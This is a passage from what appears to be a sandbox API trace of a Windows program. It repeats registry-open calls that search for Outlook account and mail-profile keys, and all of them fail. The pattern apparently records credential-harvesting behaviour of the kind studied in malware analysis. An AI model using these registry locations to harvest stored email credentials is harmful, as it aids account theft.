ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.044] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.044] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.044] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.045] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.045] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.045] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.045] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.045] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.045] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x201, phkResult=0x54df3c8 | out: phkResult=0x54df3c8*=0x0) returned 0x2 [0096.045] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x201, phkResult=0x54df3c8 | out: phkResult=0x54df3c8*=0x0) returned 0x2 [0096.045] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x201, phkResult=0x54df3c8 | out: phkResult=0x54df3c8*=0x0) returned 0x2 [0096.045] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.045] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.045] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.045] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.045] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.045] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.046] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.046] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.046] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.046] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.046] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.046] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.046] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.046] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.046] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.046] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.046] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.046] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.046] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.046] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.046] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.046] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.046] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.047] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.047] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.047] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.047] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.047] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.047] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x101, phkResult=0x54df3c8 | out: phkResult=0x54df3c8*=0x0) returned 0x2 [0096.047] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x101, phkResult=0x54df3c8 | out: phkResult=0x54df3c8*=0x0) returned 0x2 [0096.047] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x101, phkResult=0x54df3c8 | out: phkResult=0x54df3c8*=0x0) returned 0x2 [0096.047] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", phkResult=0x54df500 | out: phkResult=0x54df500*=0x0) returned 0x2 [0096.047] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.047] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.047] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.047] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.047] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.048] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.048] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.048] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.048] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.048] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.048] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.048] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.048] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.048] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.048] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.048] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.048] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.048] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.048] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.049] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.049] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.049] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.049] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.049] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.049] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.049] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.049] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.049] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.049] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x201, phkResult=0x54df3c8 | out: phkResult=0x54df3c8*=0x0) returned 0x2 [0096.049] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x201, phkResult=0x54df3c8 | out: phkResult=0x54df3c8*=0x0) returned 0x2 [0096.049] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x201, phkResult=0x54df3c8 | out: phkResult=0x54df3c8*=0x0) returned 0x2 [0096.049] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.050] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.050] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.050] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.050] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.050] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.050] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.050] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.050] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.050] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.050] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.050] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.050] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.050] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.050] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.050] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.050] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.051] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.051] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.051] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.051] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.051] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.051] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.051] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.051] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.051] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.051] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.051] RegOpenKeyExA (in: 